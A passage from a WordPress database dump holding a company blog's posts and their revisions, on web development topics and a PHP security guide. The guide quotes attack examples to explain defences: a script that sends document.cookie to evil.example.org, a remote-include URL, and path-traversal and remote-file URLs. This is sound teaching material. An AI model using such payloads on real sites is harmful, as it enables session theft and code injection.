Game&lt;/h1&gt;\r\n&lt;div id=\"msg\"&gt;&lt;/div&gt;\r\n&lt;canvas id=\"playArea\" width=\"450\" height=\"300\"&gt;Sorry your browser does not support HTML5&lt;/canvas&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;','HTML5 Snake Game','','inherit','open','open','','103-revision-v1','','','2014-07-21 09:29:38','2014-07-21 09:29:38','',103,'http://localhost/yalavarthitechnologies/blog/?p=104',0,'revision','',0),(105,1,'2014-07-21 09:31:55','2014-07-21 09:31:55','<strong>Summary:</strong>\r\n\r\nTo get rounded corners we are using images  and 2 or 3  div tags with  css styles.\r\n\r\nIf we use only CSS,  IE browser shows squared corners .\r\n\r\nTo avoid these problems use Nifty Cube plug in.\r\n\r\n<b>Nifty Corners Cube :</b>\r\n\r\nNifty Corners are a solution based on CSS and Javascript to get rounded corners <i>without images</i>.\r\n\r\nIt is simpler to use and it supports in all browsers.\r\n\r\nThis plugin supports all CSS Selectors for target and takes only two parameters.\r\n\r\n&nbsp;\r\n\r\nTo use this we need,\r\n<ul>\r\n	<li>A javascript file, named \"niftycornerscube.js\"</li>\r\n	<li>A CSS file, named \"niftycorners.css\"</li>\r\n	<li>The javascript calls specific for the pages.</li>\r\n</ul>\r\nExample:\r\n\r\n&nbsp;\r\n\r\n&lt;script type=\"text/javascript\" src=\"niftycube.js\"&gt;&lt;/script&gt;\r\n\r\n&lt;script type=\"text/javascript\"&gt;\r\nwindow.onload=function(){\r\n<b>Nifty(\"div#box\",\"big\");</b>\r\n}\r\n&lt;/script&gt;\r\n\r\n&nbsp;\r\n\r\n<b>Description: Nifty </b>function receives two parameters. Parameters have to be specified between quotes and separated by a comma. The first parameter is for the <b>CSS selector</b> that targets the elements to round, while the second parameter is for <b>options</b> for default cases could be omitted.\r\n\r\n&nbsp;\r\n\r\nWith this we can develop a tabbed menu, buttons, rounded corner div with a background, corners layouts and ect..\r\n\r\n&nbsp;\r\n\r\nFor more details and examples refer:\r\n\r\n&nbsp;\r\n\r\n<a href=\"http://www.html.it/articoli/niftycube/index.html\" target=\"_blank\">http://www.html.it/articoli/niftycube/index.html</a>','Rounded corners without images using Javascript and CSS','','publish','open','open','','rounded-corners-without-images-using-javascript-and-css','','','2014-07-21 09:31:55','2014-07-21 09:31:55','',0,'http://localhost/yalavarthitechnologies/blog/?p=105',0,'post','',0),(106,1,'2014-07-21 09:31:55','2014-07-21 09:31:55','<strong>Summary:</strong>\r\n\r\nTo get rounded corners we are using images  and 2 or 3  div tags with  css styles.\r\n\r\nIf we use only CSS,  IE browser shows squared corners .\r\n\r\nTo avoid these problems use Nifty Cube plug in.\r\n\r\n<b>Nifty Corners Cube :</b>\r\n\r\nNifty Corners are a solution based on CSS and Javascript to get rounded corners <i>without images</i>.\r\n\r\nIt is simpler to use and it supports in all browsers.\r\n\r\nThis plugin supports all CSS Selectors for target and takes only two parameters.\r\n\r\n&nbsp;\r\n\r\nTo use this we need,\r\n<ul>\r\n	<li>A javascript file, named \"niftycornerscube.js\"</li>\r\n	<li>A CSS file, named \"niftycorners.css\"</li>\r\n	<li>The javascript calls specific for the pages.</li>\r\n</ul>\r\nExample:\r\n\r\n&nbsp;\r\n\r\n&lt;script type=\"text/javascript\" src=\"niftycube.js\"&gt;&lt;/script&gt;\r\n\r\n&lt;script type=\"text/javascript\"&gt;\r\nwindow.onload=function(){\r\n<b>Nifty(\"div#box\",\"big\");</b>\r\n}\r\n&lt;/script&gt;\r\n\r\n&nbsp;\r\n\r\n<b>Description: Nifty </b>function receives two parameters. Parameters have to be specified between quotes and separated by a comma. The first parameter is for the <b>CSS selector</b> that targets the elements to round, while the second parameter is for <b>options</b> for default cases could be omitted.\r\n\r\n&nbsp;\r\n\r\nWith this we can develop a tabbed menu, buttons, rounded corner div with a background, corners layouts and ect..\r\n\r\n&nbsp;\r\n\r\nFor more details and examples refer:\r\n\r\n&nbsp;\r\n\r\n<a href=\"http://www.html.it/articoli/niftycube/index.html\" target=\"_blank\">http://www.html.it/articoli/niftycube/index.html</a>','Rounded corners without images using Javascript and CSS','','inherit','open','open','','105-revision-v1','','','2014-07-21 09:31:55','2014-07-21 09:31:55','',105,'http://localhost/yalavarthitechnologies/blog/?p=106',0,'revision','',0),(107,1,'2014-07-21 09:34:06','2014-07-21 09:34:06','<strong>Summary:</strong>\r\n\r\n<strong>TCPDF :</strong>\r\n\r\nTCPDF is one of the most  powerful PDF-generator PHP. This makes it easy to install and iterative development quite easy to generate PDF  by your PHP code without any intermediate steps.\r\n\r\nTCPDF supports different image formats like JPEG,PNG.This all can be possible by using a single TCPDF class and by importing some library classes.\r\n\r\n<code>require_once(</code><code>\'../config/lang/eng.php\'</code><code>);</code>\r\n<code>require_once(</code><code>\'../tcpdf.php\'</code><code>);</code>\r\n\r\n<code>$pdf </code><code>= new </code><code>TCPDF</code><code>(</code><code>PDF_PAGE_ORIENTATION</code><code>, </code><code>PDF_UNIT</code><code>, </code><code>PDF_PAGE_FORMAT</code><code>, </code><code>true</code><code>, </code><code>\'UTF-8\'</code><code>, </code><code>false</code><code>);</code>\r\n\r\n<code> </code>\r\n\r\n&nbsp;\r\n\r\n<strong>ference:</strong> <a href=\"http://www.tcpdf.org/examples.php\">http://www.tcpdf.org/examples.php</a>','PDF Generation','','publish','open','open','','pdf-generation','','','2014-07-21 09:34:06','2014-07-21 09:34:06','',0,'http://localhost/yalavarthitechnologies/blog/?p=107',0,'post','',0),(108,1,'2014-07-21 09:35:38','2014-07-21 09:35:38','Recently in many projects, we got the problem of data being duplicated in many table, such as cities for FFC, login log in Connected living and so on.\r\n\r\nIn this post I am going to demonstrate you with example, how to clean such table.\r\n\r\nFor keeping it simple, I am taking an example of city table whose structure is\r\n\r\nScenario 1 : Id column is not auto increment and my table data is\r\n\r\nCREATE TABLE `city` (\r\n`id` decimal(10,0) default NULL,\r\n`Name` varchar(20) default NULL\r\n)\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Id</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Name</b></p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>2</td>\r\n<td>Bang</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>2</td>\r\n<td>Bang</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nIn this case my whole row is duplicate, to remove duplicate data we will transfer distinct data into a temporary table using the below query\r\n\r\ncreate table city_temp\r\nas\r\nselect distinct id,name from city\r\n\r\nAbove command will create city_temp table with only distinct row from city table. Thereafter remove the original table i.e city and rename the new created table i.e city_temp with the original table city.\r\n\r\n<b>Please note : Once the table is created, make sure to add indexes and primary and foreign key relationship</b>\r\n\r\n&nbsp;\r\n\r\nScenario 2 : Id column is auto increment and my table data in this case will be\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Id</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Name</b></p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>2</td>\r\n<td>Bang</td>\r\n</tr>\r\n<tr>\r\n<td>3</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>4</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>5</td>\r\n<td>Bang</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nsimply run the delte query\r\n\r\ndelete from city a\r\nusing city a , city b where a.name = b.name and a.id &gt; b.id','Delete Duplicate from MySQL Table','','publish','open','open','','delete-duplicate-from-mysql-table','','','2014-07-21 09:35:38','2014-07-21 09:35:38','',0,'http://localhost/yalavarthitechnologies/blog/?p=108',0,'post','',0),(109,1,'2014-07-21 09:34:06','2014-07-21 09:34:06','<strong>Summary:</strong>\r\n\r\n<strong>TCPDF :</strong>\r\n\r\nTCPDF is one of the most  powerful PDF-generator PHP. This makes it easy to install and iterative development quite easy to generate PDF  by your PHP code without any intermediate steps.\r\n\r\nTCPDF supports different image formats like JPEG,PNG.This all can be possible by using a single TCPDF class and by importing some library classes.\r\n\r\n<code>require_once(</code><code>\'../config/lang/eng.php\'</code><code>);</code>\r\n<code>require_once(</code><code>\'../tcpdf.php\'</code><code>);</code>\r\n\r\n<code>$pdf </code><code>= new </code><code>TCPDF</code><code>(</code><code>PDF_PAGE_ORIENTATION</code><code>, </code><code>PDF_UNIT</code><code>, </code><code>PDF_PAGE_FORMAT</code><code>, </code><code>true</code><code>, </code><code>\'UTF-8\'</code><code>, </code><code>false</code><code>);</code>\r\n\r\n<code> </code>\r\n\r\n&nbsp;\r\n\r\n<strong>ference:</strong> <a href=\"http://www.tcpdf.org/examples.php\">http://www.tcpdf.org/examples.php</a>','PDF Generation','','inherit','open','open','','107-revision-v1','','','2014-07-21 09:34:06','2014-07-21 09:34:06','',107,'http://localhost/yalavarthitechnologies/blog/?p=109',0,'revision','',0),(110,1,'2014-07-21 09:35:38','2014-07-21 09:35:38','Recently in many projects, we got the problem of data being duplicated in many table, such as cities for FFC, login log in Connected living and so on.\r\n\r\nIn this post I am going to demonstrate you with example, how to clean such table.\r\n\r\nFor keeping it simple, I am taking an example of city table whose structure is\r\n\r\nScenario 1 : Id column is not auto increment and my table data is\r\n\r\nCREATE TABLE `city` (\r\n`id` decimal(10,0) default NULL,\r\n`Name` varchar(20) default NULL\r\n)\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Id</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Name</b></p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>2</td>\r\n<td>Bang</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>2</td>\r\n<td>Bang</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nIn this case my whole row is duplicate, to remove duplicate data we will transfer distinct data into a temporary table using the below query\r\n\r\ncreate table city_temp\r\nas\r\nselect distinct id,name from city\r\n\r\nAbove command will create city_temp table with only distinct row from city table. Thereafter remove the original table i.e city and rename the new created table i.e city_temp with the original table city.\r\n\r\n<b>Please note : Once the table is created, make sure to add indexes and primary and foreign key relationship</b>\r\n\r\n&nbsp;\r\n\r\nScenario 2 : Id column is auto increment and my table data in this case will be\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Id</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Name</b></p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>2</td>\r\n<td>Bang</td>\r\n</tr>\r\n<tr>\r\n<td>3</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>4</td>\r\n<td>Hyd</td>\r\n</tr>\r\n<tr>\r\n<td>5</td>\r\n<td>Bang</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nsimply run the delte query\r\n\r\ndelete from city a\r\nusing city a , city b where a.name = b.name and a.id &gt; b.id','Delete Duplicate from MySQL Table','','inherit','open','open','','108-revision-v1','','','2014-07-21 09:35:38','2014-07-21 09:35:38','',108,'http://localhost/yalavarthitechnologies/blog/?p=110',0,'revision','',0),(111,1,'2014-07-21 09:37:49','2014-07-21 09:37:49','<strong>Summary:</strong>\r\n\r\n<strong>What is HipHop</strong>\r\n\r\nHipHop for PHP transforms PHP source code into highly optimized C++. It was developed by Facebook and was released as open source in early 2010.\r\nHipHop transforms your PHP source code into highly optimized C++ and then compiles it with g++ to build binary files. You keep coding in simpler PHP, then HipHop executes your source code in a semantically equivalent manner and sacrifices some rarely used features – such as eval() – in exchange for improved performance.\r\nFacebook sees about a 50% reduction in CPU usage when serving equal amounts of Web traffic when compared to Apache and PHP. Facebook’s API tier can serve twice the traffic using 30% less CPU.\r\n\r\n<strong>Why HipHop</strong>\r\n\r\nOne of the explicit design goals leading into HipHop was the ability to continue writing complex logic directly within PHP. Companies with large PHP codebases will generally rewrite their complex functionality directly as PHP extensions in either C or C++. Doing so ends up reducing the number of people who are able to work on the company’s entire codebase. By keeping this logic in PHP, Facebook is able to move fast and maintain a high number of engineers who are able to work across the entire codebase.\r\n\r\nKnow more about HipHop <a href=\"http://www.ustream.tv/recorded/4409735\">click here</a>\r\n\r\nReference :  <a href=\"http://developers.facebook.com/blog/post/358/\">http://developers.facebook.com/blog/post/358/</a>','Facebook Technology Tasting - HipHop for PHP','','publish','open','open','','facebook-technology-tasting-hiphop-for-php','','','2014-07-21 09:37:49','2014-07-21 09:37:49','',0,'http://localhost/yalavarthitechnologies/blog/?p=111',0,'post','',0),(112,1,'2014-07-21 09:44:09','2014-07-21 09:44:09','<strong>Summary:</strong>\r\n\r\n<b>PHP Security Guide 1.0      </b>\r\n\r\n<b>Updation  Date : 21-02-2011</b>\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">\r\n<h2>Forms and URLs</h2>\r\n<h3>1.Cross-Site Scripting</h3>\r\nCross-site scripting (XSS) is deservedly one of the best known types of attacks. It plagues web applications on all platforms, and PHP applications are certainly no exception.\r\n\r\nAny application that displays input is at riskweb-based email applications, forums, guestbooks, and even blog aggregators. In fact, most web applications display input of some typethis is what makes them interesting, but it is also what places them at risk. If this input is not properly filtered and escaped, a cross-site scripting vulnerability exists.\r\n\r\nThis approach places a significant amount of trust in the values of both $comment and $name. Imagine that one of them contained the following:\r\n\r\n&lt;script&gt;\r\n\r\ndocument.location =\r\n\r\n\'http://evil.example.org/steal.php?cookies=\' +\r\n\r\ndocument.cookie\r\n\r\n&lt;/script&gt;\r\n\r\nThis is a common mistake, and it is proliferated by many bad habits that have become commonplace. Luckily, the mistake is easy to avoid. Because the risk exists only when you output tainted, unescaped data, you can simply make sure that you filter input and escape output as described in Chapter 1.\r\n\r\nAt the very least, you should use htmlentities( ) to escape any data that you send to the clientthis function converts all special characters into their HTML entity equivalents. Thus, any character that the browser interprets in a special way is converted to its HTML entity equivalent so that its original value is preserved.\r\n\r\nThe following replacement for the code to display a comment is a much safer approach:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$html = array();\r\n\r\n&nbsp;\r\n\r\n/* Filter Input ($name, $comment) */\r\n\r\n&nbsp;\r\n\r\n$html[\'name\'] = htmlentities($clean[\'name\'], ENT_QUOTES, \'UTF-8\');\r\n\r\n$html[\'comment\'] = htmlentities($clean[\'comment\'], ENT_QUOTES, \'UTF-8\');\r\n\r\n&nbsp;\r\n\r\necho \"&lt;p&gt;{$html[\'name\']} writes:&lt;br /&gt;\";\r\n\r\necho \"&lt;blockquote&gt;{$html[\'comment\']}&lt;/blockquote&gt;&lt;/p&gt;\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n<h3>2.Cross-Site Request Forgeries</h3>\r\nA cross-site request forgery (CSRF) is a type of attack that allows an attacker to send arbitrary HTTP requests from a victim. The victim is an unknowing accomplicethe forged requests are sent by the victim, not the attacker. Thus, it is very difficult to determine when a request represents a CSRF attack. In fact, if you have not taken specific steps to mitigate the risk of CSRF attacks, your applications are most likely vulnerable.\r\n\r\nThe buy.php script processes this information:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nsession_start();\r\n\r\n$clean = array();\r\n\r\n&nbsp;\r\n\r\nif (isset($_REQUEST[\'item\'] &amp;&amp; isset($_REQUEST[\'quantity\']))\r\n\r\n{\r\n\r\n/* Filter Input ($_REQUEST[\'item\'], $_REQUEST[\'quantity\']) */\r\n\r\n&nbsp;\r\n\r\nif (buy_item($clean[\'item\'], $clean[\'quantity\']))\r\n\r\n{\r\n\r\necho \'&lt;p&gt;Thanks for your purchase.&lt;/p&gt;\';\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\necho \'&lt;p&gt;There was a problem with your order.&lt;/p&gt;\';\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nAn attacker can first use your form as intended to observe the behavior. For example, after purchasing a single pen, the attacker knows to expect a message of thanks when a purchase is successful. After noting this, the attacker can then try to see whether GET data can be used to perform the same action by visiting the following URL:\r\n\r\nhttp://store.example.org/buy.php?item=pen&amp;quantity=1\r\nIf this is also successful, then the attacker now knows the format of a URL that causes an item to be purchased when visited by an authenticated user. This situation makes a CSRF attack very easy because the attacker only needs to cause a victim to visit this URL.\r\n\r\nWhile there are several possible ways to launch a CSRF attack, using an embedded resource such as an image is the most common. To understand this particular approach, it is necessary to understand how a browser requests these resources.\r\n\r\n&nbsp;\r\n\r\nThe most important thing you can do is to try to force the use of your own forms. If a user sends a request that looks as though it is the result of a form submission, it makes sense to treat it with suspicion if the user has not recently requested the form that is supposedly being submitted. Consider the following replacement for the HTML form in the sample application:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nsession_start();\r\n\r\n$token = md5(uniqid(rand(), TRUE));\r\n\r\n$_SESSION[\'token\'] = $token;\r\n\r\n$_SESSION[\'token_time\'] = time();\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;form action=\"buy.php\" method=\"POST\"&gt;\r\n\r\n&lt;input type=\"hidden\" name=\"token\" value=\"&lt;?php echo $token; ?&gt;\" /&gt;\r\n\r\n&lt;p&gt;\r\n\r\nItem:\r\n\r\n&lt;select name=\"item\"&gt;\r\n\r\n&lt;option name=\"pen\"&gt;pen&lt;/option&gt;\r\n\r\n&lt;option name=\"pencil\"&gt;pencil&lt;/option&gt;\r\n\r\n&lt;/select&gt;&lt;br /&gt;\r\n\r\nQuantity: &lt;input type=\"text\" name=\"quantity\" /&gt;&lt;br /&gt;\r\n\r\n&lt;input type=\"submit\" value=\"Buy\" /&gt;\r\n\r\n&lt;/p&gt;\r\n\r\n&lt;/form&gt;\r\n\r\n&nbsp;\r\n\r\nWith this simple modification, a CSRF attack must include a valid token in order to perfectly mimic the form submission. Because the token is stored in the user\'s session, it is also necessary that the attacker uses the token unique to the victim. This effectively limits any attack to a single user, and it requires that the attacker obtain a valid token that belongs to another userusing your own token is useless when forging requests from someone else.\r\n\r\nThe token can be checked with a simple conditional statement:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nif (isset($_SESSION[\'token\']) &amp;&amp;\r\n\r\n$_POST[\'token\'] == $_SESSION[\'token\'])\r\n\r\n{\r\n\r\n/* Valid Token */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nThe validity of the token can also be limited to a small window of time, such as five minutes:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$token_age = time() - $_SESSION[\'token_time\'];\r\n\r\n&nbsp;\r\n\r\nif ($token_age &lt;= 300)\r\n\r\n{\r\n\r\n/* Less than five minutes has passed. */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nBy including a token in your forms, you practically eliminate the risk of CSRF attacks. Take this approach for any form that performs an action.\r\n<h3>3.Spoofed Form Submissions</h3>\r\nSpoofing a form is almost as easy as manipulating a URL. After all, the submission of a form is just an HTTP request sent by the browser. The request format is somewhat determined by the form, and some of the data within the request is provided by the user.\r\n\r\n&lt;form action=\"http://example.org/path/to/process.php\" method=\"POST\"&gt;\r\n\r\n&nbsp;\r\n\r\nThis form can be located anywhere, and a request sent using this form is identical to a request sent using the original form. Knowing this, an attacker can view the source of a page, save that source to his server, and modify the action attribute to specify an absolute URL. With these modifications in place, the attacker can alter the form as desiredwhether to eliminate a maxlength restriction, eliminate client-side data validation, alter the value of hidden form elements, or modify form element types to provide more flexibility. These modifications help an attacker to submit arbitrary data to the server, and the process is very easy and convenientthe attacker doesn\'t have to be an expert.\r\n\r\nAlthough it might seem surprising, form spoofing isn\'t something you can prevent, nor is it something you should worry about. As long as you properly filter input, users have to abide by your rules. However they choose to do so is irrelevant.\r\n\r\n&nbsp;\r\n<h2>Databases and SQL</h2>\r\n&nbsp;\r\n\r\nMany PHP developers fail to filter data coming from the database because only filtered data is stored therein. While the security risk inherent in this approach is slight, it is still not a best practice and not an approach that I recommend. This approach places trust in the security of the database, and it also violates the principle of Defense in Depth. Remember, redundant safeguards have value, and this is a perfect example. If malicious data is somehow injected into the database, your filtering logic can catch it, but only if such logic exists.\r\n\r\n&nbsp;\r\n<h3>1.SQL Injection : SQL injection is one of the most common vulnerabilities in PHP applications. What is particularly surprising about this fact is that an SQL injection vulnerability requires two failures on the part of the developera failure to filter data as it enters the application (filter input), and a failure to escape data as it is sent to the database (escape output). Neither of these crucial steps should ever be omitted, and both steps deserve particular attention in an attempt to minimize errors.</h3>\r\nAn attacker presented with this form begins to speculate about the type of query that you might be using to validate the username and password provided.\r\n\r\nSQL injection is easily avoided\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$mysql = array();\r\n\r\n&nbsp;\r\n\r\n$clean[\'last_name\'] = \"O\'Reilly\";\r\n\r\n$mysql[\'last_name\'] = mysql_real_escape_string($clean[\'last_name\']);\r\n\r\n&nbsp;\r\n\r\n$sql = \"INSERT\r\n\r\nINTO   user (last_name)\r\n\r\nVALUES (\'{$mysql[\'last_name\']}\')\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n<h3>2.Exposed Data</h3>\r\nAnother concern regarding databases is the exposure of sensitive data. Whether you\'re storing credit card numbers, social security numbers, or something else, you want to make sure that the data in your database is safe.\r\n\r\nWhile protecting the security of the database itself is outside the scope of this book (and most likely outside a PHP developer\'s responsibility), you can encrypt the data that is most sensitive, so that a compromise of the database is less disastrous as long as the key is kept safe.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">\r\n<h2>Includes</h2>\r\nThis chapter addresses security issues related to the use of <i>includes</i>files that you include or require in a script to divide your application into separate logical units.\r\n<h3>1.Exposed Source Code</h3>\r\nA major concern regarding includes is the exposure of source code. This concern is largely a result of the following common situation:\r\n<ul>\r\n	<li>Includes use a .inc file extension.</li>\r\n	<li>Includes are stored within document root.</li>\r\n	<li>Apache has no idea what type of resource a .inc file is.</li>\r\n	<li>Apache has a DefaultType of text/plain.</li>\r\n</ul>\r\nBy storing as much of your PHP code outside of document root as possible, you limit this risk of exposure. At the very least, all includes should be stored outside of document root as a best practice.\r\n\r\nSeveral practices can limit the likelihood of source code exposure but not address the root cause of the problem. These include instructing Apache to process .inc files as PHP, using a .php file extension for includes, and instructing Apache to deny requests for .inc resources:\r\n\r\n&lt;Files ~ \"\\.inc$\"&gt;\r\n\r\nOrder allow,deny\r\n\r\nDeny from all\r\n\r\n&lt;/Files&gt;\r\n\r\n&nbsp;\r\n\r\nWhile these approaches have merit, none of them is as strong as placing includes outside of document root. Do not rely on these approaches for protection. At most, they can be used for Defense in Depth.\r\n<h3>2.Backdoor URLs</h3>\r\nBackdoor URLs are resources that can be accessed directly via URL when direct access is unintended or undesired. For example, a web application might display sensitive information to authenticated users:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$authenticated = FALSE;\r\n\r\n$authenticated = check_auth();\r\n\r\n&nbsp;\r\n\r\n/* ... */\r\n\r\n&nbsp;\r\n\r\nif ($authenticated)\r\n\r\n{\r\n\r\ninclude \'./sensitive.php\';\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nBecause sensitive.php is within document root, it can be accessed directly from a browser, bypassing the intended access control. This is because every resource within document root has a corresponding URL. In some cases, these scripts may perform a critical action, escalating the risk.\r\n\r\nIn order to prevent backdoor URLs, make sure you store your includes outside of document root. The only files that should be stored within document root are those that absolutely must be accessible via URL.\r\n<h3>3.Code Injection</h3>\r\nAn extremely dangerous situation exists when you use tainted data as the leading part of a dynamic include:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\ninclude \"{$_GET[\'path\']}/header.inc\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nThe PHP code would be interpreted and executedexactly the opportunity that an attacker can take advantage of to deliver a serious blow to your security.\r\n\r\nImagine a value of path that indicates a resource under the attacker\'s control:\r\n\r\nhttp://example.org/index.php?path=http%3A%2F%2Fevil.example.org%2Fevil.inc%3F\r\n\r\n&nbsp;\r\n\r\nIn this example, path is the URL encoded value of the following:\r\n\r\nhttp://evil.example.org/evil.inc?\r\n\r\n&nbsp;\r\n\r\n<b>Solution :</b>\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n&nbsp;\r\n\r\n/* $_GET[\'path\'] is filtered and stored in $clean[\'path\']. */\r\n\r\n&nbsp;\r\n\r\ninclude \"{$clean[\'path\']}/header.inc\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\n<b> </b>\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">\r\n<h2>Files and Commands</h2>\r\n&nbsp;\r\n<h3>1.Traversing the File system:</h3>\r\nWhenever you use a file in any way, you must indicate the filename at some point. In many cases, the filename is given as an argument to fopen( ).\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$handle = fopen(\"/path/to/{$_GET[\'filename\']}.txt\", \'r\');\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nthe most dangerous exploit is one in which the attacker traverses the filesystem by using multiple instances of the string ../ to move up the directory tree. For example, imagine a value of filename being passed as follows:\r\n\r\nhttp://example.org/file.php?filename=../../../../../another/path/to/file\r\n\r\nThe basename( ) function can be useful for inspecting a string to check for unwanted path information:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n&nbsp;\r\n\r\nif (basename($_GET[\'filename\']) == $_GET[\'filename\'])\r\n\r\n{\r\n\r\n$clean[\'filename\'] = $_GET[\'filename\'];\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* ... */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n$handle = fopen(\"/path/to/{$clean[\'filename\']}.txt\", \'r\');\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n<h3>2.Remote File Risks :</h3>\r\nPHP has a configuration directive called allow_url_fopen that is enabled by default. It allows you to reference many types of resources as though they were local files. For example, you can retrieve the content (HTML) of a particular page by reading from a URL:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$contents = file_get_contents(\'http://example.org/\');\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\nThis particular example lets a user manipulate the behavior of file_get_contents( ) so that it retrieves the contents of a remote resource. Consider a request similar to the following:\r\n\r\n<a href=\"http://example.org/file.php?filename=http%3A%2F%2Fevil.example.org%2Fxss.html\">http://example.org/file.php?filename=http%3A%2F%2Fevil.example.org%2Fxss.html</a>\r\n\r\n&nbsp;\r\n\r\n<b>Solution:</b>\r\n\r\nTo strengthen this approach, you should also treat $contents as input and filter it prior to use:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$html = array();\r\n\r\n&nbsp;\r\n\r\n/* Filter Input ($_GET[\'filename\']) */\r\n\r\n&nbsp;\r\n\r\n$contents = file_get_contents($clean[\'filename\']);\r\n\r\n&nbsp;\r\n\r\n/* Filter Input ($contents) */\r\n\r\n&nbsp;\r\n\r\n$html[\'contents\'] = htmlentities($clean[\'contents\'], ENT_QUOTES, \'UTF-8\');\r\n\r\n&nbsp;\r\n\r\necho $html[\'contents\'];\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nThis provides a very strong defense against numerous types of attacks, and it is the recommended approach.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h3>3.Command Injection :The use of system commands is a dangerous operation, and this is particularly true when you use remote data to construct the command to be issued. When tainted data is used, this represents a command injection vulnerability.</h3>\r\n<b> </b>\r\n\r\nThe exec( ) function is a popular function used to execute a shell command. It returns the last line of the output of the command, but you can specify an array as the second argument, and each line of output is stored as an element of that array. It can be used as follows:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$last = exec(\'ls\', $output, $return);\r\n\r\n&nbsp;\r\n\r\nprint_r($output);\r\n\r\necho \"Return [$return]\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\nWhen executed with exec( ) as shown in the prior example, the following output is generated:\r\n\r\nArray\r\n\r\n(\r\n\r\n[0] =&gt; total 0\r\n\r\n[1] =&gt; -rw-rw-r--  1 